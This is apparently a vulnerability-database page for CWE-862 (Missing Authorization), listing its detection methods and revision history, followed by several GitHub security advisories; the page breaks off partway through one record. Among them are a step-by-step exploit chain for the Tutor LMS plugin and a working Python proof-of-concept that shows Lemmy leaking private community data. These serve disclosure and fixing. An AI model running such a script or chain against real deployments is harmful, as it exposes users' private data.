Common Weakness Enumeration

CWE-862

Weakness Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

Dimensions

  • Behavior-Property: Missing
  • Behavior-Type: Authorization
Mapping guidance

This CWE entry is a Class and might have Base-level children that would be more appropriate

Examine children of this entry to see if there is a better fit

Relationships and members
ChildOf: CWE-285 · View CWE-1000
  • Behavior-Property: Improper
ChildOf: CWE-284 · View CWE-1340
  • Behavior-Property: Improper
  • Behavior-Type: Access Control
Modes of introduction
Architecture and Design

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

Implementation

A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.

Operation
Detection methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.

Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Effectiveness: Limited

Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness: Moderate

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Host Application Interface Scanner

Fuzz Tester

Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR [REF-1479], the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR [REF-1479], the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Effectiveness: High

Notes

Terminology

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

Content history
Submission: CWE Content Team · MITRE · 2011-05-24 · CWE 1.13
Contribution: "Mapping CWE to 62443" Sub-Working Group · CWE-CAPEC ICS/OT SIG · 2023-04-25 · CWE 4.11

Suggested mappings to ISA/IEC 62443.

Contribution: Abhi Balakrishnan · 2024-02-29 · CWE 4.16

Provided diagram to improve CWE usability

Modification: CWE Content Team · MITRE · 2011-06-27 · CWE 2.0

updated Demonstrative_Examples, Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2011-09-13 · CWE 2.1

updated Potential_Mitigations, References, Relationships

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated Demonstrative_Examples, Observed_Examples, References, Relationships

Modification: CWE Content Team · MITRE · 2012-10-30 · CWE 2.3

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2014-02-18 · CWE 2.6

updated Relationships

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Detection_Factors

Modification: CWE Content Team · MITRE · 2017-01-19 · CWE 2.10

updated Relationships

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Applicable_Platforms, Modes_of_Introduction, References, Relationships

Modification: CWE Content Team · MITRE · 2018-03-27 · CWE 3.1

updated References

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Relationships

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Relationships

Modification: CWE Content Team · MITRE · 2020-08-20 · CWE 4.2

updated Relationships

Modification: CWE Content Team · MITRE · 2020-12-10 · CWE 4.3

updated Relationships

Modification: CWE Content Team · MITRE · 2021-03-15 · CWE 4.4

updated Alternate_Terms, Observed_Examples

Modification: CWE Content Team · MITRE · 2021-07-20 · CWE 4.5

updated Observed_Examples, Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2021-10-28 · CWE 4.6

updated Relationships

Modification: CWE Content Team · MITRE · 2022-06-28 · CWE 4.8

updated Relationships

Modification: CWE Content Team · MITRE · 2022-10-13 · CWE 4.9

updated Observed_Examples

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Description, Potential_Mitigations

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated References, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2024-11-19 · CWE 4.16

updated Common_Consequences, Description, Diagram, Relationships, Terminology_Notes

Modification: CWE Content Team · MITRE · 2025-09-09 · CWE 4.18

updated Applicable_Platforms, Detection_Factors, Observed_Examples, References

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Applicable_Platforms, Relationships, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2026-04-30 · CWE 4.20

updated Applicable_Platforms, Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings

19874 vulnerabilities reference this CWE, most recent first.

GHSA-95MP-MXQ2-VR8J

Vulnerability from github – Published: 2024-05-06 21:30 – Updated: 2026-04-28 21:35
VLAI
Details

Missing Authorization vulnerability in A WP Life Video Gallery – Api Gallery, YouTube and Vimeo, Link Gallery.This issue affects Video Gallery – Api Gallery, YouTube and Vimeo, Link Gallery: from n/a through 1.5.3.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-34377"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-06T19:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in A WP Life Video Gallery \u2013 Api Gallery, YouTube and Vimeo, Link Gallery.This issue affects Video Gallery \u2013 Api Gallery, YouTube and Vimeo, Link Gallery: from n/a through 1.5.3.",
  "id": "GHSA-95mp-mxq2-vr8j",
  "modified": "2026-04-28T21:35:04Z",
  "published": "2024-05-06T21:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34377"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/new-video-gallery/wordpress-video-gallery-api-gallery-youtube-and-vimeo-link-gallery-plugin-1-5-3-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-95P6-V6QJ-Q4V6

Vulnerability from github – Published: 2026-09-19 03:32 – Updated: 2026-09-19 03:32
VLAI
Details

The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.0.8. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to permanently delete arbitrary WordPress posts — including pages, courses, quizzes, and WooCommerce products — via wp_delete_post( $id, true ). The exploit chain requires the attacker to first trigger the profile-photo upload flow to obtain an authored wp_posts attachment row, then create a Tutor topic reparented to that attachment, before invoking the lesson deletion handler against any target post ID.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-88944"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-19T03:17:16Z",
    "severity": "MODERATE"
  },
  "details": "The Tutor LMS \u2013 eLearning and online course solution plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.0.8. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to permanently delete arbitrary WordPress posts \u2014 including pages, courses, quizzes, and WooCommerce products \u2014 via wp_delete_post( $id, true ). The exploit chain requires the attacker to first trigger the profile-photo upload flow to obtain an authored wp_posts attachment row, then create a Tutor topic reparented to that attachment, before invoking the lesson deletion handler against any target post ID.",
  "id": "GHSA-95p6-v6qj-q4v6",
  "modified": "2026-09-19T03:32:03Z",
  "published": "2026-09-19T03:32:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88944"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/tutor/tags/4.0.7/classes/Course.php#L1758"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/tutor/tags/4.0.7/classes/Course.php#L2055"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/tutor/tags/4.0.7/classes/Lesson.php#L541"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/tutor/tags/4.0.7/classes/User.php#L395"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/tutor/tags/4.0.7/classes/Utils.php#L3277"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/tutor/tags/4.0.7/classes/Utils.php#L7481"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/tutor/tags/4.0.7/classes/Utils.php#L7666"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?reponame=\u0026old=3700174%40tutor\u0026new=3700174%40tutor"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7e23fcd0-62b4-460d-9b64-8adbf14bf820?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-95PW-WCGR-8XPG

Vulnerability from github – Published: 2026-03-05 06:30 – Updated: 2026-03-09 15:30
VLAI
Details

Missing Authorization vulnerability in designthemes DesignThemes Booking Manager designthemes-booking-manager allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects DesignThemes Booking Manager: from n/a through <= 2.0.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-27388"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-05T06:16:28Z",
    "severity": "HIGH"
  },
  "details": "Missing Authorization vulnerability in designthemes DesignThemes Booking Manager designthemes-booking-manager allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects DesignThemes Booking Manager: from n/a through \u003c= 2.0.",
  "id": "GHSA-95pw-wcgr-8xpg",
  "modified": "2026-03-09T15:30:32Z",
  "published": "2026-03-05T06:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27388"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/designthemes-booking-manager/vulnerability/wordpress-designthemes-booking-manager-plugin-2-0-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-95Q7-RQP4-3W49

Vulnerability from github – Published: 2024-04-29 12:30 – Updated: 2026-04-28 21:35
VLAI
Details

Missing Authorization vulnerability in Tips and Tricks HQ Easy Accept Payments.This issue affects Easy Accept Payments: from n/a through 4.9.10.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-33591"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-29T10:15:07Z",
    "severity": "HIGH"
  },
  "details": "Missing Authorization vulnerability in Tips and Tricks HQ Easy Accept Payments.This issue affects Easy Accept Payments: from n/a through 4.9.10.",
  "id": "GHSA-95q7-rqp4-3w49",
  "modified": "2026-04-28T21:35:00Z",
  "published": "2024-04-29T12:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33591"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/wordpress-easy-paypal-payment-or-donation-accept-plugin/wordpress-easy-accept-payments-for-paypal-plugin-4-9-10-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-95Q8-X6R6-672M

Vulnerability from github – Published: 2026-05-06 22:22 – Updated: 2026-06-08 23:39
VLAI
Summary
Lemmy may expose private community data through community, saved, liked, and modlog API views
Details

NOTE: Only affects development version.

Summary

Lemmy applies private-community checks in PostView and CommentView, but several adjacent API views skip the accepted-follower filter. Bob, a registered user who is not an accepted follower, can read private community sidebar and summary fields. Alice, a former accepted follower, can still read saved and liked private post bodies after she leaves. An unauthenticated visitor can read private community metadata and removed private post names through the modlog.

Details

CommunityView::read() and CommunityQuery::list() call visible_communities_only(), but they do not add the private-community filter used by post and comment reads:

query = my_local_user.visible_communities_only(query);
query.first(conn).await.with_lemmy_type(LemmyErrorType::NotFound)

PersonSavedCombinedQuery::list() and PersonLikedCombinedQuery::list() join community_actions, but they only filter by the requesting person id. They do not require community_actions.follow_state = Accepted when the community has visibility = Private.

The modlog query returns ListingType::All without a visibility predicate:

query = match self.listing_type.unwrap_or(ListingType::All) {
  ListingType::All => query,

The control paths show the expected check. PostView::read() and CommentView::read() both filter private communities to accepted followers:

community::visibility
  .ne(CommunityVisibility::Private)
  .or(community_actions::follow_state.eq(CommunityFollowerState::Accepted))

Proof of Concept

The following script reproduces the leak against a fresh Lemmy instance. Tested against dessalines/lemmy:nightly with the default setup account from the sample config. The script opens registration so it can create Alice and Bob.

import requests, random, string

BASE = "http://127.0.0.1:8536/api/v4"  # change to the target Lemmy URL
ADMIN_USER = "lemmy"
ADMIN_PASS = "lemmylemmy"
PASSWORD = "Password123456!"

def req(method, path, token=None, params=None, **body):
    headers = {}
    if token:
        headers["Authorization"] = "Bearer " + token
    return requests.request(method, BASE + path, headers=headers, params=params, json=body or None)

def register(name):
    r = req("POST", "/account/auth/register", username=name, password=PASSWORD,
            password_verify=PASSWORD, email=name + "@example.test")
    r.raise_for_status()
    token = r.json()["jwt"]
    person_id = req("GET", "/account", token).json()["local_user_view"]["person"]["id"]
    return token, person_id

def show(label, response, marker):
    text = response.text
    print("\n" + label + ": HTTP", response.status_code)
    print(text[:700])
    print("contains marker:", marker in text)

suffix = "poc" + "".join(random.choice(string.ascii_lowercase) for _ in range(6))
admin = req("POST", "/account/auth/login", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()["jwt"]
req("PUT", "/site", admin, registration_mode="open", email_verification_required=False)

alice, alice_id = register("alice" + suffix)
bob, _ = register("bob" + suffix)
secret = "SECRET_" + suffix

community = req("POST", "/community", admin,
                name="priv" + suffix,
                title="Private Proof " + suffix,
                sidebar=secret + " sidebar",
                summary=secret + " summary",
                visibility="private").json()["community_view"]["community"]
community_id = community["id"]
post = req("POST", "/post", admin, name="secret post " + suffix,
           community_id=community_id, body=secret + " post body").json()["post_view"]["post"]
post_id = post["id"]

show("Bob reads private community metadata", req("GET", "/community", bob, params={"id": community_id}), secret)
show("Bob direct post read control", req("GET", "/post", bob, params={"id": post_id}), secret)

req("POST", "/community/follow", alice, community_id=community_id, follow=True)
req("POST", "/community/pending_follows/approve", admin,
    community_id=community_id, follower_id=alice_id, approve=True)
req("PUT", "/post/save", alice, post_id=post_id, save=True)
req("POST", "/post/like", alice, post_id=post_id, is_upvote=True)
req("POST", "/community/follow", alice, community_id=community_id, follow=False)

show("Alice direct post read after leaving", req("GET", "/post", alice, params={"id": post_id}), secret)
show("Alice saved list after leaving", req("GET", "/account/saved", alice), secret)
show("Alice liked list after leaving", req("GET", "/account/liked", alice), secret)

mod_comm = req("POST", "/community", admin,
               name="modlog" + suffix,
               title="Private Modlog " + suffix,
               sidebar=secret + " modlog sidebar",
               summary=secret + " modlog summary",
               visibility="private").json()["community_view"]["community"]
mod_post = req("POST", "/post", admin, name=secret + " removed post",
               community_id=mod_comm["id"], body="body").json()["post_view"]["post"]
req("POST", "/post/remove", admin, post_id=mod_post["id"], removed=True, reason="poc")
show("Unauthenticated modlog", req("GET", "/modlog", params={"listing_type": "all", "limit": 50}), secret)

Output:

Bob reads private community metadata: HTTP 200
contains marker: True
Bob direct post read control: HTTP 404
contains marker: False
Alice direct post read after leaving: HTTP 404
contains marker: False
Alice saved list after leaving: HTTP 200
contains marker: True
Alice liked list after leaving: HTTP 200
contains marker: True
Unauthenticated modlog: HTTP 200
contains marker: True

Impact

Bob can read private community descriptions and sidebars before a moderator approves him. Alice can leave a private community, or a moderator can remove her, and Lemmy still returns private post bodies that Alice saved or liked while she was a member. An unauthenticated visitor can use the public modlog to discover private community metadata and removed private post names.

Recommended Fix

Apply the same private-community filter used by PostView and CommentView to CommunityView::read(), CommunityQuery::list(), PersonSavedCombinedQuery::list(), PersonLikedCombinedQuery::list(), and the ListingType::All branch of the modlog query. Admins and accepted followers should keep access. Other callers should receive the same 404 behavior as GET /post and GET /comment.


Found by aisafe.io

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "lemmy_api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.19.1-rc.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T22:22:41Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "**NOTE**: Only affects development version.\n\n## Summary\n\nLemmy applies private-community checks in `PostView` and `CommentView`, but several adjacent API views skip the accepted-follower filter. Bob, a registered user who is not an accepted follower, can read private community `sidebar` and `summary` fields. Alice, a former accepted follower, can still read saved and liked private post bodies after she leaves. An unauthenticated visitor can read private community metadata and removed private post names through the modlog.\n\n## Details\n\n`CommunityView::read()` and `CommunityQuery::list()` call `visible_communities_only()`, but they do not add the private-community filter used by post and comment reads:\n\n```rust\nquery = my_local_user.visible_communities_only(query);\nquery.first(conn).await.with_lemmy_type(LemmyErrorType::NotFound)\n```\n\n`PersonSavedCombinedQuery::list()` and `PersonLikedCombinedQuery::list()` join `community_actions`, but they only filter by the requesting person id. They do not require `community_actions.follow_state = Accepted` when the community has `visibility = Private`.\n\nThe modlog query returns `ListingType::All` without a visibility predicate:\n\n```rust\nquery = match self.listing_type.unwrap_or(ListingType::All) {\n  ListingType::All =\u003e query,\n```\n\nThe control paths show the expected check. `PostView::read()` and `CommentView::read()` both filter private communities to accepted followers:\n\n```rust\ncommunity::visibility\n  .ne(CommunityVisibility::Private)\n  .or(community_actions::follow_state.eq(CommunityFollowerState::Accepted))\n```\n\n## Proof of Concept\n\nThe following script reproduces the leak against a fresh Lemmy instance. Tested against `dessalines/lemmy:nightly` with the default setup account from the sample config. The script opens registration so it can create Alice and Bob.\n\n```python\nimport requests, random, string\n\nBASE = \"http://127.0.0.1:8536/api/v4\"  # change to the target Lemmy URL\nADMIN_USER = \"lemmy\"\nADMIN_PASS = \"lemmylemmy\"\nPASSWORD = \"Password123456!\"\n\ndef req(method, path, token=None, params=None, **body):\n    headers = {}\n    if token:\n        headers[\"Authorization\"] = \"Bearer \" + token\n    return requests.request(method, BASE + path, headers=headers, params=params, json=body or None)\n\ndef register(name):\n    r = req(\"POST\", \"/account/auth/register\", username=name, password=PASSWORD,\n            password_verify=PASSWORD, email=name + \"@example.test\")\n    r.raise_for_status()\n    token = r.json()[\"jwt\"]\n    person_id = req(\"GET\", \"/account\", token).json()[\"local_user_view\"][\"person\"][\"id\"]\n    return token, person_id\n\ndef show(label, response, marker):\n    text = response.text\n    print(\"\\n\" + label + \": HTTP\", response.status_code)\n    print(text[:700])\n    print(\"contains marker:\", marker in text)\n\nsuffix = \"poc\" + \"\".join(random.choice(string.ascii_lowercase) for _ in range(6))\nadmin = req(\"POST\", \"/account/auth/login\", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()[\"jwt\"]\nreq(\"PUT\", \"/site\", admin, registration_mode=\"open\", email_verification_required=False)\n\nalice, alice_id = register(\"alice\" + suffix)\nbob, _ = register(\"bob\" + suffix)\nsecret = \"SECRET_\" + suffix\n\ncommunity = req(\"POST\", \"/community\", admin,\n                name=\"priv\" + suffix,\n                title=\"Private Proof \" + suffix,\n                sidebar=secret + \" sidebar\",\n                summary=secret + \" summary\",\n                visibility=\"private\").json()[\"community_view\"][\"community\"]\ncommunity_id = community[\"id\"]\npost = req(\"POST\", \"/post\", admin, name=\"secret post \" + suffix,\n           community_id=community_id, body=secret + \" post body\").json()[\"post_view\"][\"post\"]\npost_id = post[\"id\"]\n\nshow(\"Bob reads private community metadata\", req(\"GET\", \"/community\", bob, params={\"id\": community_id}), secret)\nshow(\"Bob direct post read control\", req(\"GET\", \"/post\", bob, params={\"id\": post_id}), secret)\n\nreq(\"POST\", \"/community/follow\", alice, community_id=community_id, follow=True)\nreq(\"POST\", \"/community/pending_follows/approve\", admin,\n    community_id=community_id, follower_id=alice_id, approve=True)\nreq(\"PUT\", \"/post/save\", alice, post_id=post_id, save=True)\nreq(\"POST\", \"/post/like\", alice, post_id=post_id, is_upvote=True)\nreq(\"POST\", \"/community/follow\", alice, community_id=community_id, follow=False)\n\nshow(\"Alice direct post read after leaving\", req(\"GET\", \"/post\", alice, params={\"id\": post_id}), secret)\nshow(\"Alice saved list after leaving\", req(\"GET\", \"/account/saved\", alice), secret)\nshow(\"Alice liked list after leaving\", req(\"GET\", \"/account/liked\", alice), secret)\n\nmod_comm = req(\"POST\", \"/community\", admin,\n               name=\"modlog\" + suffix,\n               title=\"Private Modlog \" + suffix,\n               sidebar=secret + \" modlog sidebar\",\n               summary=secret + \" modlog summary\",\n               visibility=\"private\").json()[\"community_view\"][\"community\"]\nmod_post = req(\"POST\", \"/post\", admin, name=secret + \" removed post\",\n               community_id=mod_comm[\"id\"], body=\"body\").json()[\"post_view\"][\"post\"]\nreq(\"POST\", \"/post/remove\", admin, post_id=mod_post[\"id\"], removed=True, reason=\"poc\")\nshow(\"Unauthenticated modlog\", req(\"GET\", \"/modlog\", params={\"listing_type\": \"all\", \"limit\": 50}), secret)\n\n```\n\nOutput:\n\n```text\nBob reads private community metadata: HTTP 200\ncontains marker: True\nBob direct post read control: HTTP 404\ncontains marker: False\nAlice direct post read after leaving: HTTP 404\ncontains marker: False\nAlice saved list after leaving: HTTP 200\ncontains marker: True\nAlice liked list after leaving: HTTP 200\ncontains marker: True\nUnauthenticated modlog: HTTP 200\ncontains marker: True\n```\n\n## Impact\n\nBob can read private community descriptions and sidebars before a moderator approves him. Alice can leave a private community, or a moderator can remove her, and Lemmy still returns private post bodies that Alice saved or liked while she was a member. An unauthenticated visitor can use the public modlog to discover private community metadata and removed private post names.\n\n## Recommended Fix\n\nApply the same private-community filter used by `PostView` and `CommentView` to `CommunityView::read()`, `CommunityQuery::list()`, `PersonSavedCombinedQuery::list()`, `PersonLikedCombinedQuery::list()`, and the `ListingType::All` branch of the modlog query. Admins and accepted followers should keep access. Other callers should receive the same `404` behavior as `GET /post` and `GET /comment`.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-95q8-x6r6-672m",
  "modified": "2026-06-08T23:39:41Z",
  "published": "2026-05-06T22:22:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-95q8-x6r6-672m"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LemmyNet/lemmy/commit/637151121a8e27b2b8c95e98d6f86966b31b4a6d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/LemmyNet/lemmy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Lemmy may expose private community data through community, saved, liked, and modlog API views"
}

GHSA-95Q9-4QH9-HR86

Vulnerability from github – Published: 2025-12-24 15:30 – Updated: 2026-01-20 15:32
VLAI
Details

Missing Authorization vulnerability in FolioVision FV Simpler SEO fv-all-in-one-seo-pack allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects FV Simpler SEO: from n/a through <= 1.9.6.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-68579"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-24T13:16:25Z",
    "severity": "HIGH"
  },
  "details": "Missing Authorization vulnerability in FolioVision FV Simpler SEO fv-all-in-one-seo-pack allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects FV Simpler SEO: from n/a through \u003c= 1.9.6.",
  "id": "GHSA-95q9-4qh9-hr86",
  "modified": "2026-01-20T15:32:40Z",
  "published": "2025-12-24T15:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68579"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/fv-all-in-one-seo-pack/vulnerability/wordpress-fv-simpler-seo-plugin-1-9-6-broken-access-control-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/fv-all-in-one-seo-pack/vulnerability/wordpress-fv-simpler-seo-plugin-1-9-6-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-95VR-MJHG-W4W3

Vulnerability from github – Published: 2026-08-31 18:31 – Updated: 2026-08-31 18:31
VLAI
Details

The affected Ebyte

product does not provide separation between limited and administrative management functions. A low privileged authenticated attacker could access security sensitive configuration functions and modify settings that affect the confidentiality, integrity, or availability of the device.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-77966"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-31T16:19:13Z",
    "severity": "HIGH"
  },
  "details": "The affected\u00a0Ebyte \n\nproduct\u00a0does not provide separation between limited and administrative \nmanagement functions. A low privileged authenticated attacker could \naccess security sensitive configuration functions and modify settings \nthat affect the confidentiality, integrity, or availability of the \ndevice.",
  "id": "GHSA-95vr-mjhg-w4w3",
  "modified": "2026-08-31T18:31:29Z",
  "published": "2026-08-31T18:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77966"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-237-06.json"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-237-06"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-95X7-MH78-7W2R

Vulnerability from github – Published: 2022-10-25 20:13 – Updated: 2022-10-27 18:35
VLAI
Summary
OpenFGA subject to Information Disclosure via streamed-list-objects endpoint
Details

Overview

During our internal security assessment, it was discovered that streamed-list-objects endpoint was not validating the authorization header resulting in the disclosure of objects in the store.

Am I Affected?

You are affected by this vulnerability if you are using openfga/openfga version v0.2.3 or prior and you are exposing the OpenFGA service to the internet.

How to fix that?

Upgrade to version v0.2.4.

Backward Compatibility

This update is backward compatible.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.2.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/openfga/openfga"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
